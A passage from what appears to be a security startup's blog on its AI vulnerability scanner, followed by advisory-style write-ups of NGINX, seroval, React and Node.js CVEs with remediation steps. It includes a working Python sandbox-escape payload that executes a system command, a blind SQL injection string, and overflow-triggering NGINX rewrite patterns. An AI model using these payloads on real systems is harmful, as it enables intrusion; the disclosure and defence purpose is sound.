(spurned* ip 0))) (force-close i o) (do (++ requests*) (++ (requests/ip* ip 0)) (with (th1 nil th2 nil) (= th1 (thread (after (handle-request-thread i o ip) (close i o) (kill-thread th2)))) (= th2 (thread (sleep threadlife*) (unless (dead th1) (prn "srv thread took too long for " ip)) (break-thread th1) (force-close i o)))))))) ``` This outgoing function `handle-request-1` calls `abusive-ip`, `handle-request-thread` and so on. ![Detailed code graph of the HackerNews codebase](arc-code-flow-graphviz-asterisk.avif) Asterisk has the complete code graph for any given codebase. This is how it can traverse any function to show how an exploit payload travels through your code. **Example of a pain point solved:** Existing SAST / static analysis tools work like a semantic grep where it searches for vulnerable code patterns. For example, it would search for the string `"pickle.loads()"` and would conclude that there is an Insecure Deserialization vulnerability but cannot verify if a user input ever goes into it or if the input is validated before it reaches this part of the code. This is why SAST tools produce a lot of noise, resulting in high rates of false positives. ### 2. Contextualization The second step is to build context on what the codebase is meant to do. During indexing, our AI agent learns the code's functionality being parsed. This memory is then used to write a detailed Specification Sheet for the codebase. With our current implementation, Asterisk can write accurate specification sheets even for codebases with no comments or proper structure detailing the functionality and limitations. This step is utilized to build a Threat Model around the codebase. #### Why? Human Security Engineers audit a codebase for security vulnerabilities by understanding what the software is meant to do. Thus, the way we analyze a “Social media” app and a “Banking app” differs greatly. We devise context-aware attack scenarios like “Can I withdraw money from my bank without affecting my balance?” for banking apps and “Can I log in as Mark Zuckerberg on Facebook?” for social media apps. And it's not just the industry or field that requires proper contextualization; “where” the software is supposed to run is also an important part of the equation. Asterisk can differentiate between Web Apps, IoT firmware, Mobile Apps, etc., build context-aware threat models, and create realistic attack scenarios. ### 3. Threat Modeling This is where LLMs' tendency to hallucinate becomes a breakthrough feature. With the context built around the scanned codebase, Asterisk generates various attack scenarios for the “Exploiter” agent to try. Since Asterisk has context on each function, it generates multi-chain attack scenarios with real impact. Some examples would be: - This application uses the ElevenLabs API to generate text-to-speech and omits rate limiting for paid users. If an attacker becomes a paid user and then abuses this endpoint to process unlimited text-to-speech generations, the customer's ElevenLabs API bills will rack up, and the attacker will gain free and indirect access to the ElevenLabs API. - The endpoint `/fetch-resume` accepts a UUID of a user to fetch their resume document, but it does not validate whether the UUID belongs to the currently logged-in user, resulting in an IDOR (Insecure direct object references) vulnerability. Even though UUIDs are hard to brute-force, there should be proper isolation such that a user cannot fetch other users' resumes with their UUIDs. These attack scenarios are then passed to the “Analyzer” agent, which reads the code to ensure the attack is exploitable. The “Exploiter” agent then verifies the attack by creating a PoC (proof of concept) exploit that shows how this attack can take place via a sandbox simulation. ### 4. Vulnerability Scanning & Analysis There are two types of security vulnerabilities: “technical vulnerabilities” and “business logic errors.” Let's define the two before we discuss how Asterisk detects them. **Technical Vulnerabilities** include SQL Injection, XSS (Cross-site Scripting), CSRF (Cross-site Request Forgery), SSRF (Server-side Request Forgery), and others. **Business Logic Errors** are vulnerabilities that can result in financial loss or data loss to a company via a logic issue as minute as an “off-by-one” error. This could also be a side effect of a technical vulnerability like IDOR (Insecure direct object references). #### How are vulnerabilities found and flagged by Asterisk - **Static Rules:** Asterisk has a large set of static rules that detail vulnerable code patterns, which are then used to semantically search if a given codebase uses them. - **CVEs and N-days:** Asterisk has knowledge of pretty much every CVE and N-day documented in open-source software (OSS). With a proprietary search algorithm for code embeddings, Asterisk can see if a given codebase is vulnerable to a similar vulnerability documented in the past, no matter how differently the logic is implemented. How this is done accurately is part of our secret sauce. - **Threat Modeling:** Asterisk comes up with realistic attack scenarios that affect your business logic and verifies them by combining exploit chains to create proof-of-concepts. - **Supply Chain Monitoring:** Asterisk keeps track of vulnerabilities in dependencies used in your codebase. Combined with a lot of data on how vulnerabilities occur in various logic, be it email validation or rate limiting, Asterisk flags insecure implementations and comes up with an attack scenario utilizing the implemented logic to convey impact. ### 5. Exploitation & Verification Asterisk verifies the existence of discovered vulnerabilities by actually exploiting them against your software running in a sandbox environment. This ensures that the attack scenarios generated by Asterisk are not false positives. You can give Asterisk access to your staging deployment to see how an attacker would exploit every finding raised by Asterisk. Asterisk can also deploy just the relevant parts of your codebase to generate PoCs inside a secure sandbox akin to a simulation, just like Code Interpreter. Even without this step, Asterisk can generate valid PoCs and exploitation steps for a given finding since it has all the context needed (call stack, threat model, specification, etc.) to create a step-by-step exploit. #### MCTSr (Monte Carlo Tree Self-refine) The verification process for complex attacks is essentially performing a proof-of-concept exploit that demonstrates an apparent impact. The “proof” or “win function” here is inferred from the output. For XSS attacks, this could be an alert pop-up for the payload `">`. And for exploits that do not “show” an output, this could be another parameter like the response time. For example, a Time-based Blind SQL Injection payload such as `id=1337 AND SLEEP(5); --` would result in the response time being delayed by 5 seconds. Now that we have defined what the win function would look like, we can create a quasi-evaluation suite. Asterisk's Verification/Exploitation Agent is a variation of the MCTSr algorithm from the paper "Accessing GPT-4 level Mathematical Olympiad Solutions via Monte Carlo Tree Self-refine with LLaMa-3 8B" ([arXiv:2406.07394](https://arxiv.org/abs/2406.07394)) but instead of solving Mathematical Olympiad Problems, we are solving vulnerability exploit chains. ##### A Simple Sandbox Escape Example ![Monte Carlo feedback flow for a sandbox escape](mctsr-asterisk.avif) *The above Monte Carlo feedback flow shows a simplified example of crafting a payload that escapes an insecure sandbox implemented in Python, leading to code execution. The custom win function here is to "pop a calc" or open the calculator app to demonstrate the code execution in hacker/[Pwn2Own](https://en.wikipedia.org/wiki/Pwn2Own) style.* ##### The vulnerable Python Sandbox implementation: ```python import builtins import types import io import sys # Define a list of allowed built-in functions ALLOWED_BUILTINS = [ 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'bytearray', 'bytes', 'chr', 'dict', 'divmod', 'enumerate', 'filter', 'float', 'format', 'frozenset', 'hash', 'hex', 'int', 'isinstance', 'getattr', 'hasattr', 'issubclass', 'map', 'max', 'min', 'next', 'oct', 'ord', 'pow', 'print', 'range', 'repr', 'reversed', 'round', 'set', 'slice', 'sorted', 'str', 'sum', 'tuple', 'type', 'zip' ] # Create a restricted __builtins__ dictionary safe_builtins = {name: getattr(builtins, name) for name in ALLOWED_BUILTINS} # Add some safe modules safe_builtins['math'] = __import__('math') class RestrictedEnvironment: def __init__(self): self.globals = { '__builtins__': safe_builtins, } def execute(self, code): old_stdout = sys.stdout sys.stdout = io.StringIO() try: # Compile the code compiled_code = compile(code, '', 'exec') # Check for forbidden names for name in compiled_code.co_names: if name not in self.globals['__builtins__']: raise NameError(f"Use of '{name}' is not allowed in this sandbox") # Execute the code exec(compiled_code, self.globals) output = sys.stdout.getvalue() return output except Exception as e: print(f"Error: {str(e)}") return f"Error: {str(e)}" finally: sys.stdout = old_stdout def run_in_sandbox(code): sandbox = RestrictedEnvironment() return sandbox.execute(code) ``` ##### Final Payload: ```python print(getattr(getattr([c for c in getattr(getattr(str,'__class__'),'__base__').__subclasses__() if c.__name__ == 'catch_warnings'][0],'__init__').__globals__['__builtins__']['eval']("__import__('os').system('calc')"))) ``` The hardest problem we had to solve was defining the win function or instructing the agent on how that would look, which requires additional reasoning before starting the MCTSr verification. Currently, we have created a large set of evaluation rules from various proof-of-concept exploits. For out-of-band vulnerabilities, error-based vulnerabilities, and so on. The Monte Carlo Tree Self-refine approach demonstrates effectiveness in systematically exploring and refining payloads to exploit complex vulnerabilities. By combining MCTS's exploration capabilities with the refinement and evaluation processes, the algorithm can discover complex exploit chains that may be difficult to identify through [Chain-of-Thought (CoT)](https://arxiv.org/abs/2201.11903) reasoning or N-shot attempts alone. ### 6. Patching After all the vulnerabilities are found, Asterisk writes patch suggestions (fix code) for each with the same code style observed in your codebase. You can get this in the form of `.patch` files, saving remediation time by coming up with robust fixes. ![Code comparison view showing a patch suggestion](patch-asterisk.avif) Asterisk also provides alternative fix suggestions other than the patch code provided. ![List of alternative fix suggestions](fix-suggestions-asterisk.avif) ### 7. Reporting Asterisk does the above impressive steps in the background; reporting is the part our users see. After indexing, scanning, and exploiting every finding, Asterisk generates a comprehensive report detailing every vulnerability discovered in the form of a Dashboard and a report document. ## Public Results Asterisk has discovered vulnerabilities in various open-source software that we responsibly disclosed to their respective maintainers. Most of them are currently being remedied. For the ones we can publicly talk about (the ones that are patched), Read about the [Sandbox Escape in Hoppscotch](https://github.com/hoppscotch/hoppscotch/security/advisories/GHSA-qmmm-73r2-f8xr), Stored XSS, Host Header Injection, Lack of Rate Limiting, and Improper Input Validation in Khoj. Asterisk has discovered more open-source vulnerabilities (soon to be CVEs), which will soon be posted on this website's "Trophies" page when we can talk about them. ## Try Asterisk at your company Asterisk is in its early stages, and we are improving it every day. We are a team of security researchers and competitive CTF players who are super passionate about this problem. Our sole goal is to make Asterisk the state-of-the-art code vulnerability scanner. We are proud to be backed by [Y Combinator](https://www.ycombinator.com/launches/LYC-asterisk-ai-automated-security-team), who believes in our mission. If you are interested in getting secured by Asterisk, please feel free to [**Book a Demo Call**](https://cal.com/mufeed/intro-call-with-winfunc) with us. *PS: This article omits a lot of important technical details that are proprietary or are kept as business secrets.* ## Hacktivity Findings ### Stream complex-value capture desynchronization causes heap overflow (CVE-2026-42533) URL: https://winfunc.com/hacktivity/CVE-2026-42533 Platform: NGINX Severity: High CVE: CVE-2026-42533 Date: 2026-07-15 Original report: https://github.com/nginx/nginx/pull/1561 Summary: NGINX stream complex values allocated from stale capture state, then copied attacker-controlled regex captures `ngx_stream_complex_value()` calculated an output length and copied the output in separate passes over mutable session-wide regex capture state. In a stream expression such as `return "$1$m"`, the first pass initially counted `$1` as zero bytes. Evaluating the later `$m` variable ran a regex-backed `map` over attacker-controlled TLS SNI and populated the session's capture array. The copy pass then revisited `$1`, found the new capture, and copied the SNI hostname into the buffer allocated from the stale one-byte length. A live ASan build at NGINX commit `e8053c867f9ab14f323e3019ccab585d857abb66` confirmed a 12,000-byte write in `ngx_stream_script_copy_capture_code()` past the one-byte complex-value allocation. The public [F5 advisory](https://my.f5.com/manage/s/article/K000162097), [GitHub advisory](https://github.com/advisories/GHSA-fxfg-v4rj-hp95), and [CVE record](https://www.cve.org/CVERecord?id=CVE-2026-42533) classify the issue as CWE-122. They assign CVSS 3.1 score 8.1 (High) and CVSS 4.0 score 9.2 (Critical), describe both regex-map capture ordering and non-cacheable-variable variants, and identify NGINX Open Source `1.30.4` and `1.31.3` as the fixed releases. The [NGINX security index](https://nginx.org/en/security_advisories.html) lists `0.9.6-1.31.2` as vulnerable and `1.31.3+` as not vulnerable. F5 credits Mufeed VH of Winfunc Research among the researchers who independently reported the issue. NGINX shipped the mainline fix in [PR #1561](https://github.com/nginx/nginx/pull/1561). The patch series first simplified capture-copy accounting in commit [`2821920`](https://github.com/nginx/nginx/commit/28219209e0b4f9e155fd8bd91ab81b8ac30628f2), added bounds checks to HTTP and stream script copies in commit [`b767540`](https://github.com/nginx/nginx/commit/b767540492e8c79a58bc26034d3bab2f708b7bd1), and extended the same protection to direct HTTP script users in commit [`25f920e`](https://github.com/nginx/nginx/commit/25f920eca977139dc6fc7638b419169a602a0064). Stable NGINX 1.30 received the corresponding commits [`ea47fab`](https://github.com/nginx/nginx/commit/ea47fabf55e2bc9192ddc27f52486b4e58d5e007), [`7ac6789`](https://github.com/nginx/nginx/commit/7ac67898bdfed2140a1bedcda252074cca11f494), and [`326b17b`](https://github.com/nginx/nginx/commit/326b17b0038321c29252e79bf4c53d4773fcb8b5) through [PR #1563](https://github.com/nginx/nginx/pull/1563). Impact: The demonstrated primitive is an unauthenticated remote heap/pool out-of-bounds write in an NGINX worker, with write contents and length controlled through TLS SNI. The proof copied 12,000 attacker-controlled bytes into an output allocation sized for one byte. ASan and hardened allocators terminate the worker, producing denial of service; without them, adjacent pool or heap state can be corrupted. The public CVE states that code execution is possible when ASLR is disabled or bypassed, but this proof does not claim a reliable production code-execution chain. Remediation: Upgrade NGINX Open Source to `1.31.3+` or the stable `1.30.4+` release. For source deployments, apply the full mainline security series from PR #1561 (`2821920`, `b767540`, and `25f920e`) or the corresponding stable series from PR #1563 (`ea47fab`, `7ac6789`, and `326b17b`); the central bounds-enforcement commits are `b767540492e8c79a58bc26034d3bab2f708b7bd1` and `7ac67898bdfed2140a1bedcda252074cca11f494`. Before upgrading, remove affected complex-value ordering: do not reference positional captures before a regex-backed map output, prefer named captures scoped to the regex that creates them, and avoid volatile/non-cacheable expressions whose value can change between sizing and copying. Treat configuration changes only as temporary defense in depth because the upstream patch protects all standard script copy paths. ### seroval.fromJSON() Promise resolver type confusion invokes attacker-controlled methods (CVE-2026-59940) URL: https://winfunc.com/hacktivity/CVE-2026-59940 Platform: seroval Severity: Critical CVE: CVE-2026-59940 Date: 2026-07-08 Original report: https://github.com/lxsmnsyc/seroval/security/advisories/GHSA-mv8w-475r-vwqw Summary: Promise control nodes trusted attacker-controlled values from Seroval's general deserialization reference table A type confusion issue in `seroval.fromJSON()` allowed attacker-controlled JSON input to cause `PromiseSuccess` and `PromiseFailure` nodes to operate on values from the general deserialization reference table without first verifying that those values were genuine internal promise resolver records. In vanilla `fromJSON()` mode, the serialized node tree and top-level `m` marked-reference list can place an attacker-created object in that table. The vulnerable handlers retrieved `refs[node.i]` and called `.s(...)` or `.f(...)` after checking only that the value was truthy. With plugins enabled, an attacker could deserialize callable values into the object's `.s` and `.f` properties and make Promise control nodes invoke them with attacker-controlled data during deserialization. This creates a deserialization side-effect primitive. In downstream server frameworks that register plugins returning callable wrappers, it can become unintended server-side invocation and, depending on exposed application functionality, remote code execution or equivalent server compromise. The issue affects `seroval` versions through `1.5.2` and was fixed in `seroval@1.5.3`. A concrete downstream impact scenario was privately validated against TanStack Start before the fix; with `seroval@1.5.3`, that reproducer no longer succeeds. The advisory is [GHSA-mv8w-475r-vwqw](https://github.com/lxsmnsyc/seroval/security/advisories/GHSA-mv8w-475r-vwqw) / [CVE-2026-59940](https://www.cve.org/CVERecord?id=CVE-2026-59940), CWE-502, with CVSS 3.1 score 9.8. Impact: Direct impact in `seroval` is an attacker-controlled deserialization side effect: structured JSON reconstruction can invoke methods supplied through attacker-created objects. In a downstream framework where a plugin reconstructs RPC, server-function, or other privileged callable wrappers, the same primitive can trigger unintended server-side invocation. Depending on the functions exposed by the application, this may lead to remote code execution or equivalent server compromise. The privately coordinated TanStack Start chain is intentionally summarized without publishing its technical exploit material. Remediation: Upgrade to `seroval@1.5.3` or later. Projects accepting Seroval JSON from untrusted clients should also restrict accepted node types, allowlist inbound plugin tags, avoid exposing plugins that reconstruct callable or privileged values unless strictly necessary, and add regression tests proving that deserialization cannot cause unintended server-side invocation as a side effect. ### gRPC forwarded headers can overflow the upstream HPACK request buffer (CVE-2026-42055) URL: https://winfunc.com/hacktivity/nginx-grpc-forwarded-header-hpack-overflow Platform: NGINX Severity: High CVE: CVE-2026-42055 Date: 2026-06-17 Original report: https://github.com/nginx/nginx/commit/26d824ec3a2f819300edce0ab3b055751c9843ff Summary: NGINX gRPC upstream sizing reserved four HPACK length bytes but serialized larger raw header strings with five When an HTTP/1.x request reaches a `grpc_pass` location, NGINX forwards client request headers by default. Before the fix, `ngx_http_grpc_create_request()` sized each forwarded header name and value with the fixed `NGX_HTTP_V2_INT_OCTETS` allowance of four HPACK integer bytes, then later serialized the same strings through the variable-length HPACK encoder. If `ignore_invalid_headers off` allowed invalid raw-unfriendly header names to be retained, and `large_client_header_buffers` allowed multi-megabyte header lines, an unauthenticated client could send forwarded header names and values of `NGX_HTTP_V2_MAX_FIELD + 1` bytes. For raw HPACK strings at that length, the encoder emits a five-byte length prefix while the allocation budget reserved four. The final request buffer was therefore undersized, and the continuation-frame insertion path could write beyond `b->end`. F5 published the issue as [CVE-2026-42055](https://www.cve.org/CVERecord?id=CVE-2026-42055) in advisory [K000161584](https://my.f5.com/manage/s/article/K000161584), CWE-122, with CVSS 3.1 score 8.1. The public NGINX 1.31.2 changelog describes worker heap memory corruption or segmentation fault when `ignore_invalid_headers off` and large `large_client_header_buffers` are used while proxying a crafted request to an HTTP/2 or gRPC backend. NGINX fixed both affected upstream builders in commit [`26d824e`](https://github.com/nginx/nginx/commit/26d824ec3a2f819300edce0ab3b055751c9843ff), merged through [PR #1474](https://github.com/nginx/nginx/pull/1474), and credited Mufeed VH of Winfunc Research. Impact: The demonstrated impact is a remote, unauthenticated heap out-of-bounds write in an NGINX worker process under restrictive non-default configuration. The ASAN proof aborts the worker in `ngx_http_grpc_create_request()`, confirming availability impact and heap memory corruption. The public CVE record states that code execution is possible when ASLR is disabled or bypassed; this entry does not claim a completed production code-execution exploit. Remediation: Upgrade NGINX Open Source to `1.31.2+` or `1.30.3+`, or apply commit `26d824ec3a2f819300edce0ab3b055751c9843ff`. For NGINX Plus, apply the relevant R36/R37 patched release from the F5 advisory. As operational defense in depth, keep `ignore_invalid_headers on`, keep `large_client_header_buffers` near the default unless large headers are strictly required, and disable or filter request-header forwarding for gRPC locations that do not need untrusted client headers. ### HTTP/2 upstream proxy request encoder permits heap overflow with oversized raw headers (CVE-2026-42055) URL: https://winfunc.com/hacktivity/nginx-proxy-v2-forwarded-header-hpack-overflow Platform: NGINX Severity: High CVE: CVE-2026-42055 Date: 2026-06-17 Original report: https://github.com/nginx/nginx/commit/26d824ec3a2f819300edce0ab3b055751c9843ff Summary: NGINX HTTP/2 upstream proxy request encoding under-counted oversized raw forwarded headers When `proxy_http_version 2` sends a request to an HTTP/2 upstream, `ngx_http_proxy_v2_create_request()` builds an HPACK-compressed request header block. Before the fix, the sizing pass used the same four-byte `NGX_HTTP_V2_INT_OCTETS` allowance for every forwarded header name and value length, but the serialization pass used the variable HPACK integer encoder. A request with raw-encoded forwarded header names and values longer than `NGX_HTTP_V2_MAX_FIELD` makes the actual HPACK length prefix larger than the reserved budget. With enough oversized fields, the serialized header block plus in-place CONTINUATION-frame insertion exceeds the temporary upstream buffer allocation. The proof-backed sink is the `ngx_memmove()` continuation insertion loop in `ngx_http_proxy_v2_create_request()`. This is the HTTP/2 proxy half of [CVE-2026-42055](https://www.cve.org/CVERecord?id=CVE-2026-42055) / F5 advisory [K000161584](https://my.f5.com/manage/s/article/K000161584). The same NGINX 1.31.2 security entry covers both HTTP/2 and gRPC backends, and the F5 CVE record names `ngx_http_proxy_v2_module` and `ngx_http_grpc_module` as affected. NGINX fixed the proxy and gRPC request builders together in commit [`26d824e`](https://github.com/nginx/nginx/commit/26d824ec3a2f819300edce0ab3b055751c9843ff), merged through [PR #1474](https://github.com/nginx/nginx/pull/1474). Impact: The proven impact is a remote, unauthenticated heap out-of-bounds write in an NGINX worker under restrictive non-default configuration. The ASAN proof confirms a write in `ngx_http_proxy_v2_create_request()` at the continuation-frame movement sink. Without ASAN, observable behavior depends on allocator state and may range from a failed upstream request to worker crash or memory corruption. Remediation: Upgrade NGINX Open Source to `1.31.2+` or `1.30.3+`, or apply commit `26d824ec3a2f819300edce0ab3b055751c9843ff`. Before upgrading, reduce exposure by keeping `ignore_invalid_headers on`, avoiding multi-megabyte public header buffers, and disabling or filtering request-header forwarding for HTTP/2 upstream proxy locations that do not require arbitrary client headers. ### rewrite overlapping captures heap overflow (CVE-2026-9256) URL: https://winfunc.com/hacktivity/CVE-2026-9256 Platform: NGINX Severity: High CVE: CVE-2026-9256 Date: 2026-05-22 Original report: https://github.com/nginx/nginx/pull/1395 Summary: NGINX under-sized rewrite redirect buffers when distinct overlapping captures were escaped independently A regex rewrite such as `rewrite ^/((.*))$ http://127.0.0.1:18081/$1$2 redirect;` can make `$1` and `$2` cover the same attacker-controlled URI bytes. In NGINX 1.31.0 (`e8053c867f9ab14f323e3019ccab585d857abb66`), the rewrite compiler could discard the capture-aware length bytecode for capture-only replacements because `sc.variables == 0` and `sc.dup_capture == 0` when the replacement references distinct capture numbers. At runtime, `ngx_http_script_regex_start_code()` then used its `code->lengths == NULL` fast path. Before the fix, that fast path added the replacement's static size, one whole-URI escape adjustment, and the raw length of each capture. That was not equivalent to the copy phase for overlapping captures: `ngx_http_script_copy_capture_code()` escapes every referenced capture independently when the rewrite is in a redirect or arguments context and the request URI contains escapable bytes such as `+`. The original ASan reproducer on the real HTTP listener showed `ngx_http_script_copy_capture_code()` writing past a 4096-byte request-pool allocation when a path of plus signs was rewritten through `$1$2`. F5 published this as [CVE-2026-9256](https://www.cve.org/CVERecord?id=CVE-2026-9256), CWE-122, with CVSS 3.1 score 8.1. NGINX fixed it through PR #1395, merged as commit `ca4f92a27464ae6c2082245e4f67048c633aa032`, and the NGINX 1.31.1 changelog credits Mufeed VH of Winfunc Research. Impact: The demonstrated primitive is unauthenticated remote heap memory corruption in an NGINX worker process. The original ASan build aborted with a heap-buffer-overflow at the end of a 4096-byte request-pool allocation. The public CVE record states that exploitation can cause a worker restart and that code execution is possible when ASLR is disabled or bypassed. This entry does not claim a confirmed production RCE chain beyond the proven out-of-bounds write. Remediation: Upgrade NGINX Open Source to `1.31.1+` or `1.30.2+`, or apply PR #1395 / commit `ca4f92a27464ae6c2082245e4f67048c633aa032`. The actual upstream patch fixes the `code->lengths == NULL` fast path by calculating escape expansion for each referenced capture independently. As a temporary configuration workaround, avoid rewrite replacements that reference distinct overlapping captures in redirect or arguments contexts, especially patterns like `rewrite ^/((.*))$ http://example.test/$1$2 redirect;`. ### HTTP/2 upstream frame injection via oversized proxy_set_body (CVE-2026-42926) URL: https://winfunc.com/hacktivity/CVE-2026-42926 Platform: NGINX Severity: Medium CVE: CVE-2026-42926 Date: 2026 Original report: https://github.com/nginx/nginx/commit/c24fb259d11252623e64e787fa22288496c93773 Summary: NGINX serialized proxy_set_body output as one HTTP/2 DATA frame and truncated the 24-bit frame length When `proxy_http_version 2` selected the HTTP/2 upstream proxy path and `proxy_set_body` generated a custom request body, `ngx_http_proxy_v2_create_request()` appended that body directly after a single DATA frame header in the initial upstream buffer. HTTP/2 frame lengths are 24-bit values. The vulnerable code stored `body_len` into `length_0`, `length_1`, and `length_2` without checking or fragmenting bodies larger than 16,777,215 bytes. If `proxy_set_body` produced a body over that limit, the encoded DATA frame length wrapped to the low 24 bits while the full body bytes were still sent. The upstream HTTP/2 peer would consume only the wrapped length as DATA payload, then parse the remaining attacker-controlled body bytes as subsequent HTTP/2 frame headers and payload. The F5 CNA record for CVE-2026-42926 describes this as an `ngx_http_proxy_v2_module` encoding error affecting NGINX Open Source configurations that set `proxy_http_version` to `2` and also use `proxy_set_body`. The upstream fix in commit `c24fb25` stops inlining `proxy_set_body` output as a prebuilt DATA frame; it places the generated body in a normal request-body chain so `ngx_http_proxy_v2_body_output_filter()` frames it into bounded DATA frames respecting `NGX_HTTP_V2_DEFAULT_FRAME_SIZE` and flow-control windows. Impact: An attacker can manipulate the HTTP/2 byte stream delivered to the upstream peer. Depending on the upstream HTTP/2 implementation and the injected frame sequence, this can alter upstream request semantics, inject extra frames on the stream or connection, reset streams, or otherwise violate the proxy's intended request boundary. The CNA-scored direct impact is low integrity impact on a changed scope. Remediation: Upgrade NGINX Open Source to 1.30.1, 1.31.0, or later, or apply commit `c24fb259d11252623e64e787fa22288496c93773`. As defense in depth before upgrading, avoid `proxy_set_body` with HTTP/2 upstream proxying when the generated body can include large attacker-controlled input. ### stream accepts revoked client certificates despite ssl_ocsp on (CVE-2026-28755) URL: https://winfunc.com/hacktivity/CVE-2026-28755 Platform: NGINX Severity: Medium CVE: CVE-2026-28755 Date: 2026 Original report: https://github.com/nginx/nginx/pull/1213 Summary: NGINX `stream` module allows TLS handshake to succeed with revoked client certificates when `ssl_ocsp on` is configured When a `stream` listener is configured with both `ssl_verify_client on` and `ssl_ocsp on`, nginx performs the OCSP request and learns that the presented client certificate is revoked, but it still completes the TLS handshake and allows the session to reach application data. The root cause is a logic gap specific to `stream`: the OCSP helper records revocation state, but the `stream` verification path in `ngx_stream_ssl_handler()` checks only `SSL_get_verify_result()` and whether a certificate is present. It never calls `ngx_ssl_ocsp_get_status()`. The HTTP path does enforce the OCSP result — `ngx_http_request.c` explicitly calls `ngx_ssl_ocsp_get_status()` and rejects the request when the result is not good. The result is that OCSP executes, revocation is detected, but revocation is ignored in `stream`. Impact: This breaks revocation enforcement for `stream` mTLS services. A revoked client certificate remains usable until the certificate itself expires or the private key becomes unavailable to the attacker. Any internal TCP service fronted by NGINX `stream` and protected with client certificates can remain reachable after revocation. Deployments that rely on OCSP revocation checks to disable compromised or deprovisioned client certificates are effectively unprotected. Remediation: Mirror the HTTP behavior in `stream`. After the existing certificate-presence and `SSL_get_verify_result()` checks in `ngx_stream_ssl_handler()`, call `ngx_ssl_ocsp_get_status()` and reject the session if it does not return `NGX_OK`. This is the same enforcement that already exists in the HTTP path at `ngx_http_request.c`. ### SCGI unbuffered mode sent truncated CONTENT_LENGTH causing backend desync URL: https://winfunc.com/hacktivity/nginx-scgi-content-length-unbuffered Platform: NGINX Severity: Medium Date: 2026 Original report: https://github.com/nginx/nginx/pull/1118 Summary: NGINX SCGI used buffered-prefix body length in unbuffered mode; fix now uses canonical content length inputs In the SCGI module, `ngx_http_scgi_create_request()` historically derived `CONTENT_LENGTH` by summing the currently buffered request-body chain (`r->upstream->request_bufs`). This behavior was introduced to support chunked-body accounting, but it becomes inaccurate when `scgi_request_buffering off` is used and the body is still streaming. With unbuffered request forwarding, only an early body prefix may be available when SCGI headers are serialized. The emitted SCGI netstring can therefore advertise a smaller `CONTENT_LENGTH` than the client-declared body size. Downstream SCGI backends that keep connections open and parse trailing bytes as another request can become desynchronized. Upstream NGINX accepted this as a protocol-framing bug and explicitly classified it as a regular bugfix (not an NGINX security issue), noting SCGI is specified as one request per connection. The fix development is tracked in PR #1118 and implemented in commit `fe2d109`. Impact: In affected backend implementations this can cause backend request desynchronization and request-smuggling-like behavior. NGINX maintainers classified the issue as a regular bugfix rather than a security vulnerability in NGINX itself, because SCGI specifies one request per connection and does not define semantics for extra bytes. Remediation: Adopt canonical length sources when building SCGI requests: use original incoming `Content-Length` when present, else use filter-derived `content_length_n`, else `0`. This is the approach merged in PR #1118 (`fe2d109`) and aligns SCGI framing for buffered and unbuffered body paths. ### WebDAV COPY/MOVE path overlap corrupts files and collections URL: https://winfunc.com/hacktivity/nginx-dav-copy-move-path-overlap Platform: NGINX Severity: High Date: 2026 Original report: https://github.com/nginx/nginx/commit/f0a084645b8fede56ee08f2cc557c2475eb2a28d Summary: NGINX DAV accepted COPY and MOVE operations whose source and Destination resolved to the same path or overlapping collection paths The NGINX HTTP DAV module's `ngx_http_dav_copy_move_handler()` parsed the client-controlled `Destination` header and mapped both the request URI and destination URI to filesystem paths, but it did not validate that the resolved paths were distinct and non-overlapping. If a `COPY` request targeted the same file path as its source, execution reached `ngx_copy_file(path.data, copy.path.data, &cf)`. `ngx_copy_file()` opens the source first, then opens the destination with `NGX_FILE_TRUNCATE`; when both names resolve to the same file, the destination open truncates the source and destroys the file contents. For collection operations, copying or moving a directory into its own subtree could make the recursive walk create nested copies under the source tree and corrupt or destroy the directory structure. The upstream fix in commit `f0a0846` normalizes repeated slashes and rejects same-location or parent-child source/destination pairs with `403 Forbidden`. The final merge was PR #1307; the earlier PR #1291 contains the detailed vulnerability explanation. Impact: A user with DAV write capability can destroy or corrupt resources inside the writable DAV repository. The issue does not bypass NGINX's host/root validation or grant filesystem access outside the configured DAV path, but within that repository it can cause high-impact integrity loss and availability degradation through file truncation or directory-tree corruption. Remediation: Apply NGINX commit `f0a084645b8fede56ee08f2cc557c2475eb2a28d` or upgrade to a release that contains PR #1307. The fix must run after source and destination URIs are resolved to filesystem paths and before any destination probing, truncating open, rename, recursive copy, or delete operation. Normalize repeated slashes before comparing paths so equivalent path spellings cannot bypass the check. ### RSC reply decoder DoS via $K FormData amplification (CVE-2026-23864) URL: https://winfunc.com/hacktivity/CVE-2026-23864 Platform: React Severity: High CVE: CVE-2026-23864 Date: 2026 Original report: https://github.com/facebook/react/commit/63d61c755795eb32e7cc0241d94abbf41cdef8c9 Summary: Unbounded $K expansions allow FormData amplification during RSC reply decoding The server-side React Flight reply decoder treats `$K` tokens as **nested FormData** and reconstructs them by scanning the backing request form and copying entries into a new `FormData`. Because the decoder performs a full scan and allocation **for every `$K` occurrence** with no global limits, an attacker can embed thousands of `$K` tokens in a small multipart payload and force the server to allocate tens of MB of heap while decoding. This creates a high-amplification DoS that is remotely reachable via Server Actions in frameworks that call `decodeReplyFromBusboy`. --- **Write-up** `decodeReply` and `decodeReplyFromBusboy` materialize a response with `_formData` as the backing store, then parse chunk `0` through `initializeModelChunk` and `reviveModel`. Every string value flows into `parseModelString`, where `$K` is interpreted as a nested FormData. The `$K` handler builds a **new FormData** and performs a full scan of `_formData` to copy all matching prefixed entries. There is **no validation of the id**, no memoization, and no global limits on `$K` occurrences or copied entries. As a result, a small multipart payload can include a large array of `$K` tokens and force repeated scans and allocations (CPU O(M * E), memory O(M * N)), amplifying a sub-megabyte request into tens or hundreds of MB of heap usage. This is remotely reachable via Server Actions in frameworks that call `decodeReplyFromBusboy`, making it a practical high-amplification DoS. Impact: A small (<1 MB) request can force tens to hundreds of MB of allocations while decoding, resulting in memory exhaustion or severe CPU pressure. Repeated requests can crash the server or degrade service availability. Remediation: Consume FormData entries on first `$K` expansion and prevent re-expansion of the same keys. The fix in React 19.2.4 deletes consumed keys and reconstructs values using `getAll` with a cloned key list to avoid repeated amplification. ### Permission model bypass via unchecked Unix Domain Socket connections (CVE-2026-21636) URL: https://winfunc.com/hacktivity/CVE-2026-21636 Platform: Node.js Severity: Medium CVE: CVE-2026-21636 Date: 2025 Original report: https://github.com/nodejs/node/commit/1d2686d15e788218be35e1cb26dfbb551d8366e3 Summary: Node.js permission model fails to enforce network restrictions for Unix Domain Socket connections Node.js permission model **fails to enforce network restrictions for Unix Domain Socket (UDS) connections**. With `--permission` enabled and **without** `--allow-net` (or any allowlists), an attacker-controlled URL or `socketPath` still reaches arbitrary local sockets via `net`, `tls`, or `undici`/`fetch`. This breaks the security boundary the permission model 